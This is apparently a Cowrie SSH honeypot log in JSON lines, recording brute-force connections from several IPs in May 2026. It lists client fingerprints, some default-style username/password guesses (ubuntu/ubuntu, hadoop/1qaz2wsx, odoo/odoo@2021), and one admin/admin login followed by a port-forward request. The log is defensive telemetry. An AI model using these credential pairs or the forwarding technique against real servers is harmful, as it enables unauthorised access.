{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:44.831970Z","src_ip":"103.15.226.202","session":"13f4cea6a574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":41968,"dst_ip":"10.17.0.5","dst_port":22,"session":"cae5363159e5","protocol":"ssh","message":"New connection: 138.124.158.150:41968 (10.17.0.5:22) [session: cae5363159e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:45.608121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:45.612595Z","src_ip":"138.124.158.150","session":"cae5363159e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:45.959129Z","src_ip":"138.124.158.150","session":"cae5363159e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo@2021","message":"login attempt [odoo/odoo@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:46.702617Z","src_ip":"138.124.158.150","session":"cae5363159e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:47.879952Z","src_ip":"138.124.158.150","session":"cae5363159e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35788,"dst_ip":"159.203.135.109","dst_port":22,"session":"1172ee2d5c63","protocol":"ssh","message":"New connection: 2.57.122.208:35788 (159.203.135.109:22) [session: 1172ee2d5c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:57.962776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:58.153858Z","src_ip":"2.57.122.208","session":"1172ee2d5c63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:58.157696Z","src_ip":"2.57.122.208","session":"1172ee2d5c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:59.683455Z","src_ip":"2.57.122.208","session":"1172ee2d5c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:43:00.951270Z","src_ip":"2.57.122.208","session":"1172ee2d5c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":43890,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5c912fbecce","protocol":"ssh","message":"New connection: 20.82.144.240:43890 (159.203.135.109:22) [session: d5c912fbecce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:43:30.810884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:43:30.815719Z","src_ip":"20.82.144.240","session":"d5c912fbecce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:43:30.882709Z","src_ip":"20.82.144.240","session":"d5c912fbecce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcd12","message":"login attempt [ubuntu/abcd12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:43:31.182515Z","src_ip":"20.82.144.240","session":"d5c912fbecce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:43:32.252337Z","src_ip":"20.82.144.240","session":"d5c912fbecce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":60872,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ab0520661e0","protocol":"ssh","message":"New connection: 20.82.144.240:60872 (159.203.135.109:22) [session: 0ab0520661e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:44:32.476852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:44:32.481511Z","src_ip":"20.82.144.240","session":"0ab0520661e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:44:32.548936Z","src_ip":"20.82.144.240","session":"0ab0520661e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"666","message":"login attempt [test/666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:44:32.852975Z","src_ip":"20.82.144.240","session":"0ab0520661e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:44:33.923811Z","src_ip":"20.82.144.240","session":"0ab0520661e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":38676,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecb83ed1f4c7","protocol":"ssh","message":"New connection: 87.106.29.151:38676 (10.17.0.5:22) [session: ecb83ed1f4c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:44:42.503496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:44:42.511100Z","src_ip":"87.106.29.151","session":"ecb83ed1f4c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:44:42.604797Z","src_ip":"87.106.29.151","session":"ecb83ed1f4c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1qaz2wsx","message":"login attempt [hadoop/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:44:43.014243Z","src_ip":"87.106.29.151","session":"ecb83ed1f4c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:44:44.111264Z","src_ip":"87.106.29.151","session":"ecb83ed1f4c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":35060,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b83d01f9096","protocol":"ssh","message":"New connection: 138.124.158.150:35060 (10.17.0.5:22) [session: 2b83d01f9096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:15.581962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:15.586723Z","src_ip":"138.124.158.150","session":"2b83d01f9096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:15.764542Z","src_ip":"138.124.158.150","session":"2b83d01f9096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:17.084140Z","src_ip":"138.124.158.150","session":"2b83d01f9096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:18.265137Z","src_ip":"138.124.158.150","session":"2b83d01f9096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":56486,"dst_ip":"10.17.0.5","dst_port":22,"session":"59ce7b2d92c9","protocol":"ssh","message":"New connection: 87.251.64.176:56486 (10.17.0.5:22) [session: 59ce7b2d92c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:21.563532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:21.580772Z","src_ip":"87.251.64.176","session":"59ce7b2d92c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:21.677418Z","src_ip":"87.251.64.176","session":"59ce7b2d92c9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:21.966274Z","src_ip":"87.251.64.176","session":"59ce7b2d92c9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:22.065648Z","session":"59ce7b2d92c9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:22.163988Z","src_ip":"87.251.64.176","session":"59ce7b2d92c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:22.263985Z","src_ip":"87.251.64.176","session":"59ce7b2d92c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":17234,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f3d4ee7ee4a","protocol":"ssh","message":"New connection: 79.127.181.103:17234 (10.17.0.5:22) [session: 3f3d4ee7ee4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:29.616507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:29.815137Z","src_ip":"79.127.181.103","session":"3f3d4ee7ee4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:30.008615Z","src_ip":"79.127.181.103","session":"3f3d4ee7ee4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:30.020240Z","src_ip":"79.127.181.103","session":"3f3d4ee7ee4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":49620,"dst_ip":"159.203.135.109","dst_port":22,"session":"96a0cd55dec0","protocol":"ssh","message":"New connection: 20.82.144.240:49620 (159.203.135.109:22) [session: 96a0cd55dec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:32.418703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:32.423822Z","src_ip":"20.82.144.240","session":"96a0cd55dec0","protocol":"ssh"}
